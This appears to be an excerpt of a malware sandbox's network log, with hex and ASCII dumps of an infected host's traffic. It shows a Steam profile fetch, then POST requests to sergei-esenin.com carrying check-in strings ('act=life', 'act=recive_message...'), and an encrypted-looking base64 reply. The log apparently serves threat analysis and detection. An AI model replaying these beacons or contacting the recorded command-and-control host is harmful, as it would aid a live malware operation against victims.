61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 07:09:07 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 07:09:07 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 07:09:07 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	50080	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:09:08 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 07:09:08 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 07:09:08 UTC	568	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 07:09:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TY7v6Ex77IwDDg1YNslNs2%2FospkYEu1A%2FRY8h8b3e%2B4rOLCOjQh9UOH%2BT8LVsTFQ4GrWx4kbi8HjNUDsQMkP%2FQ92tzzQPy6lcRmZCSY897%2BDFdpdGbMSNeoPa%2B7i52rLm3ScwA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7823be88da6c44-DFW
2024-10-24 07:09:08 UTC	801	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 07:09:08 UTC	1369	IN	Data Raw: 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 Data Ascii: "/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.get
2024-10-24 07:09:08 UTC	1369	IN	Data Raw: 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: ng/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 07:09:08 UTC	905	IN	Data Raw: 34 2e 32 35 30 2e 37 31 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f Data Ascii: 4.250.71</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-erro
2024-10-24 07:09:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	50081	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:09:09 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=GSZDA9574WqHZCXUa29HnJLn5MiuHOZxKYWbt2dluc0-1729753748-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 07:09:09 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 07:09:09 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vbhe9acgsmr2p4bsotruvgi3pe; expires=Mon, 17 Feb 2025 00:55:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cEUbo%2Bofkyp2HdaxV6BifppMMSlbv8oiRNI8LIEylOQSQuKCIOaonEuH1S0uBHfQuaDqRmGyXTXZEJqGp5z5TM7O6pr9P3j4WOkmCn0OVBtOxk%2Bgvm2oiGggqqz%2BrG%2FzPkhdtg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7823c3ce236c80-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1052&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=2664213&cwnd=251&unsent_bytes=0&cid=043d99dcd34b17d1&ts=354&x=0"
2024-10-24 07:09:09 UTC	351	IN	Data Raw: 34 64 62 0d 0a 54 53 77 7a 74 47 78 6e 67 62 6e 75 54 4b 43 62 52 2f 35 62 6a 31 72 78 78 63 39 61 65 4d 7a 78 74 49 59 38 75 6c 64 49 4f 61 30 32 44 6b 57 57 56 6c 4f 74 6d 35 30 70 67 71 45 7a 6a 43 37 71 64 74 4f 6b 71 33 68 43 71 70 44 59 39 56 6d 57 64 54 35 55 6a 33 64 4b 55 74 67 66 41 71 32 62 69 7a 53 43 6f 52 79 46 65 65 6f 30 30 2f 2f 74 50 78 4b 75 6b 4e 6a 6b 58 64 45 34 4f 46 58 4f 4a 55 42 55 33 41 6b 45 35 64 69 43 49 63 58 2b 49 70 38 78 34 54 4f 63 72 61 4a 34 56 4f 36 55 7a 71 51 47 6d 42 6f 74 54 63 77 41 54 55 44 66 54 68 71 74 77 73 77 70 7a 72 6c 39 33 44 72 71 4f 4a 32 6a 71 7a 45 51 70 4a 6e 51 35 56 6a 51 4a 79 46 66 78 53 56 4f 56 39 30 44 44 66 48 56 69 43 62 4f 2b 43 69 66 65 61 4e 34 6c 4c 2f 74 59 46 72 39 6f 64 58 31 54 38 Data Ascii: 4dbTSwztGxngbnuTKCbR/5bj1rxxc9aeMzxtIY8uldIOa02DkWWVlOtm50pgqEzjC7qdtOkq3hCqpDY9VmWdT5Uj3dKUtgfAq2bizSCoRyFeeo00//tPxKukNjkXdE4OFXOJUBU3AkE5diCIcX+Ip8x4TOcraJ4VO6UzqQGmBotTcwATUDfThqtwswpzrl93DrqOJ2jqzEQpJnQ5VjQJyFfxSVOV90DDfHViCbO+CifeaN4lL/tYFr9odX1T8
2024-10-24 07:09:09 UTC	899	IN	Data Raw: 67 50 43 4f 50 4a 68 43 58 4a 2f 44 65 58 4d 4f 41 31 6b 36 71 6e 4e 78 6d 75 6c 4e 7a 75 55 64 49 78 4a 31 62 4a 4c 30 34 52 6d 45 34 43 2b 35 76 55 62 75 48 38 4e 5a 73 31 2b 33 71 70 35 37 4a 32 41 2b 36 55 32 71 51 47 6d 44 30 76 57 4d 77 6b 51 56 4c 65 42 52 66 6a 79 59 6f 6a 78 2b 73 6a 6d 54 66 6e 4f 34 47 74 6f 7a 34 5a 70 35 6a 66 34 56 6e 63 64 57 51 62 79 44 63 4f 43 5a 59 76 43 4f 6a 58 68 6a 6e 43 75 54 72 53 49 4b 30 2f 6e 2b 66 31 65 42 36 76 6c 39 66 67 55 4e 59 78 4a 6c 33 42 49 6b 46 58 33 41 34 43 36 64 4f 45 4c 38 2f 79 4b 70 77 38 34 44 79 56 71 36 77 39 57 75 44 54 30 66 77 65 67 48 55 45 58 4d 77 39 44 47 54 56 41 41 76 6b 7a 63 77 78 6a 4f 42 6c 6d 7a 57 74 59 4e 4f 70 71 44 63 49 72 34 48 54 36 6b 7a 55 4d 43 78 57 7a 43 46 4f 56 Data Ascii: gPCOPJhCXJ/DeXMOA1k6qnNxmulNzuUdIxJ1bJL04RmE4C+5vUbuH8NZs1+3qp57J2A+6U2qQGmD0vWMwkQVLeBRfjyYojx+sjmTfnO4Gtoz4Zp5jf4VncdWQbyDcOCZYvCOjXhjnCuTrSIK0/n+f1eB6vl9fgUNYxJl3BIkFX3A4C6dOEL8/yKpw84DyVq6w9WuDT0fwegHUEXMw9DGTVAAvkzcwxjOBlmzWtYNOpqDcIr4HT6kzUMCxWzCFOV
2024-10-24 07:09:09 UTC	1369	IN	Data Raw: 33 66 39 31 0d 0a 4b 43 4f 7a 53 68 53 66 51 38 79 6d 53 4b 2b 41 79 6c 71 6d 68 50 52 57 75 6b 74 66 71 56 4e 4e 31 5a 42 76 49 4e 77 34 4a 6c 69 45 49 38 38 6d 47 4a 64 4f 37 45 4a 38 33 34 7a 2b 46 35 37 4a 32 41 2b 36 55 32 71 51 47 6d 44 34 73 56 38 4d 76 53 45 50 59 41 52 66 70 79 59 67 67 78 76 55 72 6c 54 54 69 50 59 47 6a 72 53 6f 62 71 35 54 59 36 55 7a 64 64 57 51 62 79 44 63 4f 43 5a 59 30 4d 65 54 4c 6e 53 6d 41 7a 43 61 53 4e 2b 6f 75 30 37 6a 6a 49 56 71 70 6e 35 61 38 48 74 73 35 4a 31 4c 4b 49 46 78 62 32 67 38 58 35 4e 4b 46 4a 4d 50 33 4b 70 63 31 36 43 71 59 71 4b 55 33 47 36 4f 65 33 65 42 65 6d 48 74 71 58 4e 64 76 46 68 48 33 41 77 72 78 32 4a 31 73 39 2f 6f 72 6b 6a 37 37 65 49 7a 70 74 48 67 64 6f 74 4f 4f 70 46 2f 55 4f 53 74 55 Data Ascii: 3f91KCOzShSfQ8ymSK+AylqmhPRWuktfqVNN1ZBvINw4JliEI88mGJdO7EJ834z+F57J2A+6U2qQGmD4sV8MvSEPYARfpyYggxvUrlTTiPYGjrSobq5TY6UzddWQbyDcOCZY0MeTLnSmAzCaSN+ou07jjIVqpn5a8Hts5J1LKIFxb2g8X5NKFJMP3Kpc16CqYqKU3G6Oe3eBemHtqXNdvFhH3Awrx2J1s9/orkj77eIzptHgdotOOpF/UOStU
2024-10-24 07:09:09 UTC	1369	IN	Data Raw: 62 64 42 51 48 6e 32 34 45 6c 7a 50 63 73 6b 44 48 68 50 34 47 71 71 44 41 51 70 35 62 61 36 56 33 4b 4e 69 73 62 67 57 39 4a 53 5a 5a 57 52 63 54 6f 75 77 32 43 35 6d 75 46 65 65 6f 30 30 2f 2f 74 4f 52 4b 70 6e 64 4c 32 55 4d 6f 37 4c 56 76 4a 4a 30 5a 57 32 67 41 4c 38 64 4f 4e 4c 73 7a 32 4c 5a 55 39 37 44 79 58 71 36 70 34 56 4f 36 55 7a 71 51 47 6d 42 30 70 51 64 56 74 59 46 72 57 43 52 58 31 77 4d 77 78 6a 4f 42 6c 6d 7a 57 74 59 4e 4f 6a 70 6a 49 54 72 5a 72 53 36 56 37 52 4f 69 4e 54 77 69 64 63 55 4e 77 63 41 65 62 61 67 79 54 47 38 53 6d 54 4e 65 6b 71 6d 4f 66 6a 65 42 32 32 30 34 36 6b 66 74 4d 6a 43 55 6e 64 62 31 45 66 7a 30 34 43 37 35 76 55 62 73 76 31 4a 4a 30 7a 36 7a 4f 57 71 71 30 39 45 4b 6d 66 31 75 52 64 33 6a 4d 6e 55 38 63 6a 51 Data Ascii: bdBQHn24ElzPcskDHhP4GqqDAQp5ba6V3KNisbgW9JSZZWRcTouw2C5muFeeo00//tORKpndL2UMo7LVvJJ0ZW2gAL8dONLsz2LZU97DyXq6p4VO6UzqQGmB0pQdVtYFrWCRX1wMwxjOBlmzWtYNOjpjITrZrS6V7ROiNTwidcUNwcAebagyTG8SmTNekqmOfjeB22046kftMjCUndb1Efz04C75vUbsv1JJ0z6zOWqq09EKmf1uRd3jMnU8cjQ
2024-10-24 07:09:09 UTC	1369	IN	Data Raw: 41 36 39 43 4b 49 4d 50 2f 4b 5a 46 35 6f 33 69 55 76 2b 31 67 57 6f 6d 4a 32 2b 4a 4a 79 51 41 74 57 35 35 76 55 52 2f 50 54 67 4c 76 6d 39 52 75 7a 2f 55 76 6b 54 7a 70 4d 4a 53 6b 72 44 51 65 6f 35 37 53 37 56 72 64 4a 7a 68 64 77 53 39 42 58 39 6b 43 46 2b 33 65 6a 43 4b 43 74 32 57 62 49 61 31 67 30 35 61 36 4f 46 71 78 33 63 2b 6b 57 64 52 31 63 68 76 41 49 6c 78 64 32 51 34 45 34 4e 2b 48 4b 63 54 2f 4a 4a 38 38 37 6a 32 56 70 71 30 30 45 4b 6d 62 33 4f 70 54 33 6a 45 73 58 59 39 68 44 6c 62 4f 54 6c 32 6a 36 59 45 67 79 2f 6f 6a 6b 53 2f 46 43 64 4f 34 34 79 46 61 71 5a 2b 57 76 42 37 63 50 69 4a 58 79 69 64 4c 55 4e 34 45 44 65 7a 55 6e 69 2f 4e 38 43 4b 58 4e 4f 49 32 6c 71 6d 2f 50 78 47 6c 6d 39 2f 71 57 4a 68 37 61 6c 7a 58 62 78 59 52 34 41 Data Ascii: A69CKIMP/KZF5o3iUv+1gWomJ2+JJyQAtW55vUR/PTgLvm9Ruz/UvkTzpMJSkrDQeo57S7VrdJzhdwS9BX9kCF+3ejCKCt2WbIa1g05a6OFqx3c+kWdR1chvAIlxd2Q4E4N+HKcT/JJ887j2Vpq00EKmb3OpT3jEsXY9hDlbOTl2j6YEgy/ojkS/FCdO44yFaqZ+WvB7cPiJXyidLUN4EDezUni/N8CKXNOI2lqm/PxGlm9/qWJh7alzXbxYR4A
2024-10-24 07:09:09 UTC	1369	IN	Data Raw: 68 43 72 4d 36 79 53 54 65 61 4e 34 6c 4c 2f 74 59 46 71 66 68 64 48 6a 55 5a 6f 63 4c 55 44 4f 4a 55 31 61 32 6b 34 61 72 63 4c 4d 4b 63 36 35 66 64 77 30 34 54 57 58 74 61 45 34 47 71 65 55 33 50 5a 52 31 7a 67 70 57 38 6f 39 54 30 50 5a 42 51 44 67 33 34 4d 68 7a 76 45 76 33 48 65 74 50 34 76 6e 39 58 67 32 72 59 4c 63 70 6e 6e 43 49 79 31 58 33 69 52 44 58 5a 59 52 53 2f 71 62 69 79 4b 43 6f 57 57 63 4f 4f 41 71 6c 71 61 6e 4d 68 65 6d 6e 4e 50 68 55 64 77 78 49 56 58 64 49 55 46 52 30 41 55 45 35 74 69 48 4a 4d 7a 77 4e 39 78 33 72 54 2b 4c 35 2f 56 34 4d 4c 57 53 32 2b 67 63 39 6a 34 38 58 49 30 4f 51 46 72 52 41 68 4f 6a 78 4d 49 33 67 76 34 70 33 47 47 74 4d 5a 32 72 72 6a 38 53 70 70 62 57 37 31 37 58 50 79 52 63 33 53 56 43 57 38 51 42 42 75 37 Data Ascii: hCrM6ySTeaN4lL/tYFqfhdHjUZocLUDOJU1a2k4arcLMKc65fdw04TWXtaE4GqeU3PZR1zgpW8o9T0PZBQDg34MhzvEv3HetP4vn9Xg2rYLcpnnCIy1X3iRDXZYRS/qbiyKCoWWcOOAqlqanMhemnNPhUdwxIVXdIUFR0AUE5tiHJMzwN9x3rT+L5/V4MLWS2+gc9j48XI0OQFrRAhOjxMI3gv4p3GGtMZ2rrj8SppbW717XPyRc3SVCW8QBBu7
2024-10-24 07:09:09 UTC	1369	IN	Data Raw: 4f 42 6c 6d 7a 57 74 59 4e 4f 6e 71 54 51 5a 71 5a 33 5a 36 56 48 66 50 69 56 52 77 54 31 42 56 4e 34 43 44 65 37 4a 68 69 54 51 38 43 79 52 4e 2b 55 71 6b 4f 66 6a 65 42 32 32 30 34 36 6b 62 4e 49 32 4a 6b 33 43 49 41 35 4f 6d 42 64 46 35 4e 66 4d 64 6f 4c 72 4e 35 77 79 37 54 2b 64 74 61 77 77 46 61 53 54 30 4f 39 55 32 7a 77 75 56 63 59 70 54 31 7a 58 44 77 58 6d 32 34 55 38 7a 37 6c 72 33 44 37 31 65 4d 76 6e 6d 6a 51 52 6e 35 44 41 70 45 47 57 4c 47 70 63 77 32 38 57 45 64 63 63 43 4f 76 66 6a 43 50 45 38 69 53 64 4f 75 30 34 6b 4b 65 6f 4d 78 57 6f 6c 4e 76 75 56 39 45 6e 49 6c 2f 64 4c 30 4a 56 6c 6b 42 46 35 4d 50 4d 64 6f 4c 4a 4a 70 63 31 37 54 57 47 35 37 4a 32 41 2b 36 55 32 71 51 47 6d 44 30 68 55 4d 6b 6b 54 56 4c 59 42 51 2f 73 31 49 59 6f Data Ascii: OBlmzWtYNOnqTQZqZ3Z6VHfPiVRwT1BVN4CDe7JhiTQ8CyRN+UqkOfjeB22046kbNI2Jk3CIA5OmBdF5NfMdoLrN5wy7T+dtawwFaST0O9U2zwuVcYpT1zXDwXm24U8z7lr3D71eMvnmjQRn5DApEGWLGpcw28WEdccCOvfjCPE8iSdOu04kKeoMxWolNvuV9EnIl/dL0JVlkBF5MPMdoLJJpc17TWG57J2A+6U2qQGmD0hUMkkTVLYBQ/s1IYo
2024-10-24 07:09:09 UTC	1369	IN	Data Raw: 30 30 35 6a 54 52 70 71 41 6f 48 65 37 64 6c 75 49 65 67 47 56 6b 47 38 73 2b 44 67 6d 47 58 46 36 32 69 4e 74 2b 6b 4f 5a 72 68 58 6e 37 65 4d 76 31 34 33 67 49 37 73 75 57 6f 31 33 4b 4a 79 78 59 32 53 77 4a 62 2b 67 75 44 75 2f 59 67 43 2f 46 75 57 76 63 4e 71 31 67 71 75 65 75 4b 67 6a 68 67 73 44 70 54 74 39 35 49 6b 72 43 49 77 34 66 6c 6b 49 42 36 4e 65 4a 4b 64 4b 32 4e 34 77 79 34 53 37 66 6f 37 39 34 56 4f 36 43 33 65 74 4d 31 6a 4a 6c 53 74 6b 69 58 6c 4c 54 43 55 6e 72 79 6f 45 69 67 72 64 6c 69 54 4c 68 50 70 36 79 34 69 6b 4d 72 59 58 52 71 46 62 4a 4f 43 59 62 38 47 45 4f 53 5a 5a 57 52 64 62 59 67 69 44 46 37 7a 54 52 47 65 59 30 6b 4b 75 73 50 31 72 67 30 39 43 6b 42 6f 74 37 61 6c 2f 65 62 78 59 42 68 46 56 51 73 49 7a 63 66 4e 32 33 50 Data Ascii: 005jTRpqAoHe7dluIegGVkG8s+DgmGXF62iNt+kOZrhXn7eMv143gI7suWo13KJyxY2SwJb+guDu/YgC/FuWvcNq1gqueuKgjhgsDpTt95IkrCIw4flkIB6NeJKdK2N4wy4S7fo794VO6C3etM1jJlStkiXlLTCUnryoEigrdliTLhPp6y4ikMrYXRqFbJOCYb8GEOSZZWRdbYgiDF7zTRGeY0kKusP1rg09CkBot7al/ebxYBhFVQsIzcfN23P
2024-10-24 07:09:09 UTC	1369	IN	Data Raw: 34 79 2f 54 6a 65 41 6a 75 79 35 61 6a 55 4e 55 30 4b 56 58 4d 50 56 78 58 31 52 67 47 70 4f 57 79 43 38 2f 30 49 4a 49 2b 30 77 61 79 72 62 30 31 46 61 6d 74 36 4e 4e 50 33 79 56 6f 66 63 77 35 54 52 47 59 54 68 32 6a 67 38 77 50 79 4f 6b 6f 6b 7a 36 74 64 74 4f 6a 37 57 42 61 69 35 37 62 34 56 44 66 64 77 74 52 33 79 4a 42 56 70 5a 41 52 65 2b 62 31 47 37 44 38 7a 57 52 4e 75 70 30 6c 4c 32 71 65 46 54 75 6e 5a 61 38 48 74 6b 2f 4f 6c 62 41 4b 41 4a 58 32 41 42 46 2f 4a 57 56 62 74 53 35 66 63 39 33 72 53 72 54 2f 2b 31 2f 46 4b 4f 53 31 65 70 64 79 69 63 73 57 4e 6b 73 43 57 2f 6f 4b 77 6a 75 33 6f 49 70 2f 4d 63 45 6c 69 6e 67 4e 35 54 6c 6a 54 38 4d 72 61 33 6f 30 30 2f 66 4a 57 68 39 7a 44 6c 4e 45 5a 68 4f 48 61 4f 44 7a 41 2f 49 36 53 69 54 50 71 Data Ascii: 4y/TjeAjuy5ajUNU0KVXMPVxX1RgGpOWyC8/0IJI+0wayrb01Famt6NNP3yVofcw5TRGYTh2jg8wPyOkokz6tdtOj7WBai57b4VDfdwtR3yJBVpZARe+b1G7D8zWRNup0lL2qeFTunZa8Htk/OlbAKAJX2ABF/JWVbtS5fc93rSrT/+1/FKOS1epdyicsWNksCW/oKwju3oIp/McElingN5TljT8Mra3o00/fJWh9zDlNEZhOHaODzA/I6SiTPq

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	50082	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
